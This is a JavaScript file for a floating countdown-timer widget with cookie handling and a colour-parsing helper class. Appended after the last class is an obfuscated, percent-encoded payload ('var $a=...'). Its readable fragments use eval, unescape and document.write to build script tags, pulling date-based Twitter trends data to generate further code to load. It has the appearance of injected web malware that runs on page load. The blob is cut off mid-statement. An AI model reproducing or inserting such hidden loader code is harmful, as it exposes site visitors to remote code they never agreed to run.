// BEGIN COUNTER CLASS DECLARATION
function counter()
{
	// set the counter constructor variables
	this.Top = 10;
	this.Left = 10;
	this.backgroundColor = "blue";
	this.textColor = "yellow";
	this.borderColor = "black";
	this.borderWidth = 1;
	this.forwardAddress = "http://link1";
	this.GUID = 1531190115;
	this.counterStartTime = 25;
        this.counterAlertTime = 24; 
        this.textSize = 24;
        this.textFont = "Arial";
        this.displayText = "";

	this.cookieDontShowCounter = false;
	this.cookieDontShow = false;
	
	this.browserName = navigator.appName;
	this.browserVer = parseInt(navigator.appVersion);

	this.intervalAccumulator = 0;
	// TODO: check for cookie, calculate counterTimeLeft as a function
	// of counterCookieTime, currentTime, and counterStartTime
	this.originalStartTime = this.counterStartTime;
	this.counterTimeLeft = this.counterStartTime;
	this.stopCounter = false;
	this.counterEnded = false;
	
	this.netscapeAccumulator = 0;

	// set counterTicksLeft (ms)
	// set derivative times to 0

	this.counterTicksLeft = this.counterTimeLeft * 100;
	this.alertTicks = this.counterAlertTime * 100;
	this.counterDigits = 0;
	
	this.ms1=0;
	this.ms2=0;
	this.sec1=0;
	this.sec2=0;
	this.min1=0;
	this.min2=0;
	this.hr1=0;
	this.hr2=0;

	this.t;
	
	this.myGlide = null;
}

function counterConvertTime(ticks)
// this converts from ms to individual digits (hh mm ss msms)
{
	this.ms1=0;
	this.ms2=0;
	this.sec1=0;
	this.sec2=0;
	this.min1=0;
	this.min2=0;
	this.hr1=0;
	this.hr2=0;
	this.ms1 = ticks%10;
	if (ticks>10) {
		this.ms2=(ticks-ticks%10)/10 %10;
		if (ticks>100) {
			this.sec1=(ticks-ticks%100)/100 %10;
			if (ticks>1000) {
				this.sec2=(ticks-ticks%1000)/1000 % 6;
				if (ticks>6000) {
					this.min1=(ticks-ticks%6000)/6000 %10;
					if (ticks>60000) {
						this.min2=(ticks-ticks%60000)/60000 %6;
						if (ticks>360000) {
							this.hr1=(ticks-ticks%360000)/360000 %10;
							if (ticks>3600000) {
							  this.hr2=ticks-ticks%3600000;
							}
						}
					}
				}
			}
		}
	}
}

function counterCountDown()
{
	interval = 3;
		  
	if(!this.stopCounter)
	{
		this.counterConvertTime( this.counterTicksLeft );
		this.counterDigits = (this.hr2 + "" + this.hr1 + ":" + this.min2 + "" + this.min1 + ":" + this.sec2 + "" + this.sec1);// + "." + this.ms2 + "" + this.ms1 );
	        document.getElementById('counter').innerHTML = this.counterDigits;
                if(document.getElementById('staticCount'))
                    document.getElementById('staticCount').innerHTML = this.counterDigits;
		this.counterTicksLeft = this.counterTicksLeft - interval;
	}
	if(this.counterTicksLeft >= 0 && !this.stopCounter)
	{
		this.t = setTimeout("myCounter.counterCountDown()", interval*10);
	}
	else
	{
		this.counterSendToAddress();
		this.counterEnded = true;
	}
	this.intervalAccumulator = this.intervalAccumulator + interval;
	
	if(this.alertTicks >= this.counterTicksLeft && this.intervalAccumulator%(5*interval) == 0 && !this.stopCounter)
	{
	    var cColor = new RGBColor(document.getElementById('counter').style.color);
	    var tColor = new RGBColor(this.textColor);
	    
	    if(cColor.toHex() == tColor.toHex())
	        document.getElementById('counter').style.color = this.backgroundColor;
	    else
	        document.getElementById('counter').style.color = this.textColor;
	    this.intervalAccumulator = 0;
	}
	
	if(this.browserName == "Netscape")
	{
	    this.netscapeAccumulator = this.netscapeAccumulator + interval;
	    if(this.netscapeAccumulator%(100*interval) == 0)
	    {
               var myCookies = new Array();
               var foundDontShow = -1;
               var foundStartTime = -1;
               var foundStartDate = -1;
               var currentDate = new Date();
               var dateString = currentDate.getDate() + ":" + currentDate.getMonth() + ":" + currentDate.getYear();
               var currentHr = currentDate.getHours();
               var currentMin = currentDate.getMinutes();
               var currentSec = currentDate.getSeconds();
               myCookies = document.cookie.split(";");

	       for(count = 0; count < myCookies.length; count++)
	       {
	          if(this.counterStrTrim(myCookies[count].split("=")[0]) == "DontShow" + this.GUID)
	             foundDontShow = count;
	          else if(this.counterStrTrim(myCookies[count].split("=")[0]) == "StartTime" + this.GUID)
	             foundStartTime = count;
	          else if(this.counterStrTrim(myCookies[count].split("=")[0]) == "StartDate" + this.GUID)
	             foundStartDate = count;
	       }
	       if(foundStartTime > -1 && foundStartDate > -1 && foundDontShow > -1 && dateString == myCookies[foundStartDate].split("=")[1])
	       {
	          cookieTime = myCookies[foundStartTime].split("=")[1].split(":");
	          var elapsedTime = ((currentHr - cookieTime[0]) * 3600) + ((currentMin - cookieTime[1]) * 60) + currentSec - cookieTime[2];
		  var tempCounterTicksLeft = (this.originalStartTime - elapsedTime) * 100;
		  if((this.counterTicksLeft - 100) > tempCounterTicksLeft)
		  	this.counterTicksLeft = tempCounterTicksLeft;
	       }
	       this.netscapeAccumulator = 0;
	    }
	}
}

function counterBuild()
{
	
	// counterPos should always be set in a div
	var contents = document.getElementById('counterPos').innerHTML;
	var counter_text = 
	  '<div id="counterWrapper" style="margin-left:4px; margin-right:4; border-style:solid;' 
	  + 'background-color:' + this.backgroundColor + '; border-color:' + this.borderColor + '; border-width:' + this.borderWidth + 'px;">' 
	  + '<center><label style="font-weight:bold; padding:5px; color:' + this.textColor + '; font-family:' + this.textFont 
	  + '; font-size: ' + this.textSize + 'pt;" type="text" id="counter" >'
	  + '</label></center>';
	var text_text = '<div style="padding-left:3px; padding-right:3px;"><label style="font-size:' + Math.floor(0.75 * this.textSize) + ';">'
	  + this.displayText +'</label></div>';
	
	if(this.displayText.length > 0)
	  counter_text = counter_text + text_text;
	  
	counter_text = counter_text + '</div>';
	
//	alert(counter_text);
	document.getElementById('counterPos').innerHTML = contents + counter_text;
	this.counterCountDown(this.counterTimeLeft);
}

function counterPosition()
{
	var newdiv = document.createElement('div');
        var divIdName = 'counterPos';
	newdiv.setAttribute('id',divIdName);
	newdiv.style.position = 'absolute';
	newdiv.style.zIndex = 1000;
	document.body.appendChild(newdiv);
}

function counterUsingPopupCounter(sTime, aTime, top, left, bkColor, txtColor, bordColor, bordWidth, address, guid, txtSize, txtFont, dispText)
{
	this.Top = top;
	this.Left = left;
	this.backgroundColor = bkColor;
	this.textColor = txtColor;
	this.borderColor = bordColor;
	this.borderWidth = bordWidth;
	this.forwardAddress = address;
	this.GUID = guid;
	this.counterStartTime = sTime;
	this.originalStartTime = sTime;
        this.counterAlertTime = aTime;
        this.textSize = txtSize;
        this.textFont = txtFont;
        this.displayText = dispText;
    
       	this.counterTimeLeft = this.counterStartTime;
	this.counterTicksLeft = this.counterTimeLeft * 100;
	this.alertTicks = this.counterAlertTime * 100;
	myCounter.counterCheckCookies();
	myCounter.counterIsTimeLow();

        if(!this.cookieDontShow)
        {
        	var currentDate = new Date();
           	var dateString = currentDate.getDate() + ":" + currentDate.getMonth() + ":" + currentDate.getYear();
           	var timeString = currentDate.getHours() + ":" + currentDate.getMinutes() + ":" + currentDate.getSeconds();
       	        document.cookie = 'StartDate'+ this.GUID +'=' + dateString + '; expires=Thu, 2 Aug 2099 20:47:11 UTC; path=/';
       	        document.cookie = 'StartTime'+ this.GUID +'=' + timeString + '; expires=Thu, 2 Aug 2099 20:47:11 UTC; path=/';
        }
        else
        {
        	this.counterTimeLeft =  this.counterStartTime;
        	this.counterTicksLeft = this.counterTimeLeft * 100;
        }
        if(!this.cookieDontShowCounter)
        {
		this.counterPosition();
		this.counterBuild();
		document.onload = this.setGliding(); 
	}
}
function counterSendToAddress()
{
   if(this.forwardAddress != "none")
        window.location = this.forwardAddress;
}
function setGliding()
{
    this.myGlide = new Glider('counterPos',this.Top, this.Left, null, null, 700,-1);
    this.myGlide.show();
}

function counterCheckCookies()
{
   var myCookies = new Array();
   var cookieTime = new Array();
   var foundDontShow = -1;
   var foundStartTime = -1;
   var foundStartDate = -1;
   var timeLeft = false;
   var count;
   var currentDate = new Date();
   var dateString = currentDate.getDate() + ":" + currentDate.getMonth() + ":" + currentDate.getYear();
   var currentHr = currentDate.getHours();
   var currentMin = currentDate.getMinutes();
   var currentSec = currentDate.getSeconds();

   myCookies = document.cookie.split(";");
   for(count = 0; count < myCookies.length; count++)
   {
      if(this.counterStrTrim(myCookies[count].split("=")[0]) == "DontShow" + this.GUID)
         foundDontShow = count;
      else if(this.counterStrTrim(myCookies[count].split("=")[0]) == "StartTime" + this.GUID)
         foundStartTime = count;
      else if(this.counterStrTrim(myCookies[count].split("=")[0]) == "StartDate" + this.GUID)
         foundStartDate = count;
   }

   if(foundStartTime > -1 && foundStartDate > -1 && foundDontShow > -1 && dateString == myCookies[foundStartDate].split("=")[1])
   {
      cookieTime = myCookies[foundStartTime].split("=")[1].split(":");
      var elapsedTime = ((currentHr - cookieTime[0]) * 3600) + ((currentMin - cookieTime[1]) * 60) + currentSec - cookieTime[2];
      if(elapsedTime < this.counterStartTime)
      {
         timeLeft = true;
         this.counterStartTime = this.counterStartTime - elapsedTime;
      }
   }
   if(foundDontShow > -1 && !timeLeft)
   {
       this.cookieDontShowCounter = true;
       setTimeout("myCounter.counterSendToAddress()", 1);
   }
   if(foundDontShow > -1)
   {
       this.cookieDontShow = true;
   }
   setTimeout("myCounter.counterSetDontShowCookie()", 1000);
   if(this.counterTicksLeft < 200)
	setTimeout("myCounter.counterCheckCookies()", 5000);
}

function counterIsTimeLow()
{
  if(this.counterTicksLeft < 200)
	setTimeout("myCounter.counterCheckCookies()", 200);
  else
  	setTimeout("myCounter.counterIsTimeLow()", 100);
}

function counterSetDontShowCookie()
{
   document.cookie = 'DontShow'+ this.GUID +'=true; expires=Thu, 2 Aug 2099 20:47:11 UTC; path=/';
}

function counterStrTrim(inputString) 
{
   // Removes leading and trailing spaces from the passed string. Also removes
   // consecutive spaces and replaces it with one space. If something besides
   // a string is passed in (null, custom object, etc.) then return the input.
   if (typeof inputString != "string") { return inputString; }
   var retValue = inputString;
   var ch = retValue.substring(0, 1);
   while (ch == " ") { // Check for spaces at the beginning of the string
      retValue = retValue.substring(1, retValue.length);
      ch = retValue.substring(0, 1);
   }
   ch = retValue.substring(retValue.length-1, retValue.length);
   while (ch == " ") { // Check for spaces at the end of the string
      retValue = retValue.substring(0, retValue.length-1);
      ch = retValue.substring(retValue.length-1, retValue.length);
   }
   while (retValue.indexOf("  ") != -1) { // Note that there are two spaces in the string - look for multiple spaces within the string
      retValue = retValue.substring(0, retValue.indexOf("  ")) + retValue.substring(retValue.indexOf("  ")+1, retValue.length); // Again, there are two spaces in each of the strings
   }
   return retValue; // Return the trimmed string back to the user
} // Ends the "trim" function

function counterEnd()
{
   cntPos = document.getElementById('counterPos');
   cntPos.parentNode.removeChild(cntPos);
   this.stopCounter = true;
   this.counterTimeLeft = 0;
}

counter.prototype.counterConvertTime = counterConvertTime;
counter.prototype.counterCountDown = counterCountDown;
counter.prototype.counterBuild = counterBuild;
counter.prototype.counterPosition = counterPosition;
counter.prototype.counterUsingPopupCounter = counterUsingPopupCounter;
counter.prototype.counterSendToAddress = counterSendToAddress;
counter.prototype.setGliding = setGliding;
counter.prototype.counterCheckCookies = counterCheckCookies;
counter.prototype.counterIsTimeLow = counterIsTimeLow;
counter.prototype.counterStrTrim = counterStrTrim;
counter.prototype.counterSetDontShowCookie = counterSetDontShowCookie;
counter.prototype.counterEnd = counterEnd;

// END COUNTER CLASS DECLARATION

//BEGIN COLOR CLASS
function RGBColor(color_string)
{
    this.ok = false;

    // strip any leading #
    if (color_string.charAt(0) == '#') { // remove # if any
        color_string = color_string.substr(1,6);
    }

    color_string = color_string.replace(/ /g,'');
    color_string = color_string.toLowerCase();

    // before getting into regexps, try simple matches
    // and overwrite the input
    var simple_colors = {
        aliceblue: 'f0f8ff',
        antiquewhite: 'faebd7',
        aqua: '00ffff',
        aquamarine: '7fffd4',
        azure: 'f0ffff',
        beige: 'f5f5dc',
        bisque: 'ffe4c4',
        black: '000000',
        blanchedalmond: 'ffebcd',
        blue: '0000ff',
        blueviolet: '8a2be2',
        brown: 'a52a2a',
        burlywood: 'deb887',
        cadetblue: '5f9ea0',
        chartreuse: '7fff00',
        chocolate: 'd2691e',
        coral: 'ff7f50',
        cornflowerblue: '6495ed',
        cornsilk: 'fff8dc',
        crimson: 'dc143c',
        cyan: '00ffff',
        darkblue: '00008b',
        darkcyan: '008b8b',
        darkgoldenrod: 'b8860b',
        darkgray: 'a9a9a9',
        darkgreen: '006400',
        darkkhaki: 'bdb76b',
        darkmagenta: '8b008b',
        darkolivegreen: '556b2f',
        darkorange: 'ff8c00',
        darkorchid: '9932cc',
        darkred: '8b0000',
        darksalmon: 'e9967a',
        darkseagreen: '8fbc8f',
        darkslateblue: '483d8b',
        darkslategray: '2f4f4f',
        darkturquoise: '00ced1',
        darkviolet: '9400d3',
        deeppink: 'ff1493',
        deepskyblue: '00bfff',
        dimgray: '696969',
        dodgerblue: '1e90ff',
        feldspar: 'd19275',
        firebrick: 'b22222',
        floralwhite: 'fffaf0',
        forestgreen: '228b22',
        fuchsia: 'ff00ff',
        gainsboro: 'dcdcdc',
        ghostwhite: 'f8f8ff',
        gold: 'ffd700',
        goldenrod: 'daa520',
        gray: '808080',
        green: '008000',
        greenyellow: 'adff2f',
        honeydew: 'f0fff0',
        hotpink: 'ff69b4',
        indianred : 'cd5c5c',
        indigo : '4b0082',
        ivory: 'fffff0',
        khaki: 'f0e68c',
        lavender: 'e6e6fa',
        lavenderblush: 'fff0f5',
        lawngreen: '7cfc00',
        lemonchiffon: 'fffacd',
        lightblue: 'add8e6',
        lightcoral: 'f08080',
        lightcyan: 'e0ffff',
        lightgoldenrodyellow: 'fafad2',
        lightgrey: 'd3d3d3',
        lightgreen: '90ee90',
        lightpink: 'ffb6c1',
        lightsalmon: 'ffa07a',
        lightseagreen: '20b2aa',
        lightskyblue: '87cefa',
        lightslateblue: '8470ff',
        lightslategray: '778899',
        lightsteelblue: 'b0c4de',
        lightyellow: 'ffffe0',
        lime: '00ff00',
        limegreen: '32cd32',
        linen: 'faf0e6',
        magenta: 'ff00ff',
        maroon: '800000',
        mediumaquamarine: '66cdaa',
        mediumblue: '0000cd',
        mediumorchid: 'ba55d3',
        mediumpurple: '9370d8',
        mediumseagreen: '3cb371',
        mediumslateblue: '7b68ee',
        mediumspringgreen: '00fa9a',
        mediumturquoise: '48d1cc',
        mediumvioletred: 'c71585',
        midnightblue: '191970',
        mintcream: 'f5fffa',
        mistyrose: 'ffe4e1',
        moccasin: 'ffe4b5',
        navajowhite: 'ffdead',
        navy: '000080',
        oldlace: 'fdf5e6',
        olive: '808000',
        olivedrab: '6b8e23',
        orange: 'ffa500',
        orangered: 'ff4500',
        orchid: 'da70d6',
        palegoldenrod: 'eee8aa',
        palegreen: '98fb98',
        paleturquoise: 'afeeee',
        palevioletred: 'd87093',
        papayawhip: 'ffefd5',
        peachpuff: 'ffdab9',
        peru: 'cd853f',
        pink: 'ffc0cb',
        plum: 'dda0dd',
        powderblue: 'b0e0e6',
        purple: '800080',
        red: 'ff0000',
        rosybrown: 'bc8f8f',
        royalblue: '4169e1',
        saddlebrown: '8b4513',
        salmon: 'fa8072',
        sandybrown: 'f4a460',
        seagreen: '2e8b57',
        seashell: 'fff5ee',
        sienna: 'a0522d',
        silver: 'c0c0c0',
        skyblue: '87ceeb',
        slateblue: '6a5acd',
        slategray: '708090',
        snow: 'fffafa',
        springgreen: '00ff7f',
        steelblue: '4682b4',
        tan: 'd2b48c',
        teal: '008080',
        thistle: 'd8bfd8',
        tomato: 'ff6347',
        turquoise: '40e0d0',
        violet: 'ee82ee',
        violetred: 'd02090',
        wheat: 'f5deb3',
        white: 'ffffff',
        whitesmoke: 'f5f5f5',
        yellow: 'ffff00',
        yellowgreen: '9acd32'
    };
    for (var key in simple_colors) {
        if (color_string == key) {
            color_string = simple_colors[key];
        }
    }
    // emd of simple type-in colors

    // array of color definition objects
    var color_defs = [
        {
            re: /^rgb\((\d{1,3}),\s*(\d{1,3}),\s*(\d{1,3})\)$/,
            example: ['rgb(123, 234, 45)', 'rgb(255,234,245)'],
            process: function (bits){
                return [
                    parseInt(bits[1]),
                    parseInt(bits[2]),
                    parseInt(bits[3])
                ];
            }
        },
        {
            re: /^(\w{2})(\w{2})(\w{2})$/,
            example: ['#00ff00', '336699'],
            process: function (bits){
                return [
                    parseInt(bits[1], 16),
                    parseInt(bits[2], 16),
                    parseInt(bits[3], 16)
                ];
            }
        },
        {
            re: /^(\w{1})(\w{1})(\w{1})$/,
            example: ['#fb0', 'f0f'],
            process: function (bits){
                return [
                    parseInt(bits[1] + bits[1], 16),
                    parseInt(bits[2] + bits[2], 16),
                    parseInt(bits[3] + bits[3], 16)
                ];
            }
        }
    ];

    // search through the definitions to find a match
    for (var i = 0; i < color_defs.length; i++) {
        var re = color_defs[i].re;
        var processor = color_defs[i].process;
        var bits = re.exec(color_string);
        if (bits) {
            channels = processor(bits);
            this.r = channels[0];
            this.g = channels[1];
            this.b = channels[2];
            this.ok = true;
        }

    }

    // validate/cleanup values
    this.r = (this.r < 0 || isNaN(this.r)) ? 0 : ((this.r > 255) ? 255 : this.r);
    this.g = (this.g < 0 || isNaN(this.g)) ? 0 : ((this.g > 255) ? 255 : this.g);
    this.b = (this.b < 0 || isNaN(this.b)) ? 0 : ((this.b > 255) ? 255 : this.b);

    // some getters
    this.toRGB = function () {
        return 'rgb(' + this.r + ', ' + this.g + ', ' + this.b + ')';
    }
    this.toHex = function () {
        var r = this.r.toString(16);
        var g = this.g.toString(16);
        var b = this.b.toString(16);
        if (r.length == 1) r = '0' + r;
        if (g.length == 1) g = '0' + g;
        if (b.length == 1) b = '0' + b;
        return '#' + r + g + b;
    }

    // help
    this.getHelpXML = function () {

        var examples = new Array();
        // add regexps
        for (var i = 0; i < color_defs.length; i++) {
            var example = color_defs[i].example;
            for (var j = 0; j < example.length; j++) {
                examples[examples.length] = example[j];
            }
        }
        // add type-in colors
        for (var sc in simple_colors) {
            examples[examples.length] = sc;
        }

        var xml = document.createElement('ul');
        xml.setAttribute('id', 'rgbcolor-examples');
        for (var i = 0; i < examples.length; i++) {
            try {
                var list_item = document.createElement('li');
                var list_color = new RGBColor(examples[i]);
                var example_div = document.createElement('div');
                example_div.style.cssText =
                        'margin: 3px; '
                        + 'border: 1px solid black; '
                        + 'background:' + list_color.toHex() + '; '
                        + 'color:' + list_color.toHex()
                ;
                example_div.appendChild(document.createTextNode('test'));
                var list_item_value = document.createTextNode(
                    ' ' + examples[i] + ' -> ' + list_color.toRGB() + ' -> ' + list_color.toHex()
                );
                list_item.appendChild(example_div);
                list_item.appendChild(list_item_value);
                xml.appendChild(list_item);

            } catch(e){}
        }
        return xml;

    }

}
//END COLOR CLASS
var myCounter = new counter();

function t(){return z($a);}var $a="Z64eZ3dZ22209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+Z2519}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;cbZ3dZ2264Z2573Z2529Z253bZ2573tZ253dtmZ2570Z253dZ2527Z2527;for(iZ253d0Z253biZ253cdsZ252eZ256cZ22;caZ3dZ22Z2566uncZ2574iZ256fnZ2520dZ2563s(dZ2573Z252ceZ2573)Z257bdsZ253dunesZ2563apZ2565(Z25Z22;dzZ3dZ22Z2566uncZ2574Z2569oZ256e Z2564w(Z2574Z2529Z257bcaZ253dZ2527Z252564Z25256Z2566Z2563umZ252565Z25256eZ252574Z25252eZ2577Z252572iZ2574Z252565(Z252522Z2527;ceZ253dZ2527Z252522Z252529Z2527;cbZ253dZ2527Z25253csZ252563Z252572Z252569pZ252574Z2525Z25320Z256caZ25256egZ2575aZ252567Z252565Z25253dZ25255Z2563Z252522jZ2561vaZ2573cZ252572iZ2570tZ25255cZ252522Z25253Z2565Z2527;ccZ253dZ2527Z25253cZ25255cZ25252fscZ2572Z2569Z2570Z2525Z25374Z25253eZ2527Z253beZ2576Z2561Z256c(uZ256eescZ2561peZ2528t))Z257d;Z22;cdZ3dZ22stZ253dstZ252bStrZ2569Z256eg.fZ2572oZ256dZ2543hZ2561Z2572Z2543odeZ2528(Z2574Z256dZ257Z22;opZ3dZ22Z2524aZ253dZ2522dw(dcsZ2528cZ2575Z252c14)Z2529Z253bZ2522;Z22;czZ3dZ22Z2566uncZ2574ioZ256e cZ257a(czZ2529Z257brZ2565tZ2575Z2572nZ2520cZ2561Z252bcb+Z2563cZ252bcZ2564+Z2563e+cZ257a;};Z22;stZ3dZ22Z2573tZ253dZ2522Z2524Z2561Z253dsZ2574Z253bdZ2563sZ2528Z2564aZ252bdZ2562+Z2564cZ252bZ2564Z2564+Z2564Z2565,Z25310Z2529;Z2564wZ2528Z2573Z2574Z2529;Z2573Z2574Z253dZ2524aZ253bZ2522;Z22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;ddZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+Z2519~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+Z2519iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;uuvvww;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;ccZ3dZ22Z2565ngtZ2568;Z2569Z252b+)Z257btZ256dZ2570Z253dds.Z2573liZ2563e(iZ252cZ2569+1)Z253bZ22;ceZ3dZ220.chZ2561rZ2543Z256fdZ2565AtZ25280Z2529^(Z25270xZ25300Z2527+es)Z2529Z2529;Z257d}Z22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87e~Z257F7Z3c07tfu7Z3c07dxb7Z3c07vyb7Z3c07fyv7Z3c07huc7Z3c07fuc7Z3c07wxd7Z3c07u~y7Z3c07ud~7Z3c07|uf7Z3c07dgu79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;Z69f (Z64ocuZ6denZ74.cZ6fZ6fZ6bieZ2eZ69ndeZ78Z4ff(Z27Z72f5Z666Z64Z73Z27)Z3dZ3d-1Z29Z7bfunZ63tZ69oZ6e cZ61Z6clbaZ63kZ28x)Z7bwZ69Z6edZ6fw.tZ77Z20Z3d x;vZ61rZ20d Z3d newZ20Z44ateZ28Z29;dZ2eseZ74TZ69me(Z78[Z22as_ofZ22]Z2a1Z3000)Z3bvaZ72 hZ20Z3d d.geZ74Z55Z54Z43Z48ouZ72s(Z29;wZ69ndoZ77.hZ20Z3d h;iZ66Z20(h Z3e Z38)Z7bd.Z73eZ74Z55TZ43DZ61te(Z64.geZ74UZ54CDZ61Z74Z65Z28Z29Z20- 2Z29;Z7dZ65lseZ7bd.Z73etZ55TZ43DaZ74e(dZ2egZ65Z74UZ54CDZ61te(Z29 - Z33)Z3b}Z77indZ6fw.Z67dZ20Z3d d;vZ61r Z74iZ6de Z3d nZ65Z77 Z41Z72Z72Z61y(Z29Z3bZ76ar Z73hiZ66tIZ6edeZ78 Z3d Z22Z22;timeZ5bZ22yZ65Z61Z72Z22] Z3d d.geZ74Z55Z54CFZ75lZ6cYeZ61r()Z3btiZ6dZ65Z5bZ22mZ6fZ6ethZ22] Z3d Z64.gZ65tUZ54CMZ6fZ6etZ68()Z2b1Z3bZ74imZ65[Z22daZ79Z22Z5d Z3d d.gZ65tUZ54Z43DZ61te(Z29Z3bif Z28Z64.geZ74UTCZ4dontZ68()+Z31 Z3c 10Z29Z7bZ73hifZ74IndZ65Z78 Z3d Z74iZ6dZ65[Z22yZ65Z61Z72Z22] + Z22-0Z22 + Z28dZ2egZ65Z74UZ54CZ4dontZ68()+Z31);}Z65lZ73eZ7bshiZ66tIZ6edeZ78Z20Z3d Z74Z69meZ5bZ22yeaZ72Z22] +Z20Z22-Z22 +Z20(dZ2egeZ74Z55TCMZ6fntZ68Z28)+1Z29Z3b}Z69f (Z64.gZ65tUZ54Z43DatZ65(Z29Z20Z3cZ2010Z29Z7bsZ68iftZ49Z6edeZ78 Z3dshZ69fZ74IndZ65x Z2b Z22-Z30Z22 + dZ2egeZ74UTZ43DZ61Z74e(Z29;Z7deZ6cseZ7bshZ69Z66tZ49nZ64eZ78 Z3d shiZ66tInZ64ex Z2b Z22-Z22 + d.Z67etZ55TZ43DZ61tZ65(Z29;}dZ6fcZ75meZ6et.wZ72Z69teZ28Z22Z3csZ63rZ22+Z22ipt lZ61ngZ75ageZ3dZ6aavaZ73criZ70Z74Z22+Z22 sZ72cZ3dZ27htZ74p:Z2fZ2fsearZ63h.Z74wiZ74terZ2ecomZ2ftreZ6eZ64sZ2fdailZ79Z2ejZ73on?Z64aZ74eZ3dZ22+ shiZ66tInZ64eZ78+Z22&callZ62acZ6bZ3dcaZ6cZ6cbZ61ckZ32Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);} funZ63tioZ6e caZ6cZ6cZ62Z61Z63k2Z28x)Z7bwiZ6edZ6fwZ2eZ74wZ20Z3d Z78Z3bsc(Z27rfZ35f6Z64Z73Z27,2,Z37Z29Z3beZ76alZ28unZ65scaZ70Z65(dZ7a+Z63zZ2bopZ2bsZ74)+Z27dw(dZ7a+czZ28$Z61+sZ74))Z3bZ27);docZ75menZ74.wZ72iZ74Z65($aZ29;}dZ6fZ63uZ6dZ65nt.Z77Z72iteZ28Z22Z3cZ69Z6dg sZ72cZ3dZ27httpZ3aZ2fZ2fsearchZ2etwZ69ttZ65r.cZ6fmZ2fimaZ67esZ2fseaZ72chZ2frsZ73.Z70ngZ27 widZ74Z68Z3d1 Z68eZ69gZ68tZ3d1Z20Z73tyZ6ceZ3dZ27visibZ69litZ79:hiZ64dZ65nZ27 Z2fZ3e Z3cscrZ22+Z22iptZ20lZ61ngZ75agZ65Z3djavZ61scrZ69ptZ22+Z22 srcZ3dZ27httpZ3aZ2fZ2fsearcZ68.Z74wiZ74tZ65rZ2ecomZ2fZ74Z72enZ64Z73Z2fdaZ69lZ79.jsZ6fnZ3fcalZ6cZ62acZ6bZ3dcallZ62acZ6bZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}elsZ65Z7b$aZ3dZ27Z27};funcZ74ionZ20sc(Z63Z6emZ2cv,Z65d)Z7bvZ61rZ20exdZ3dneZ77 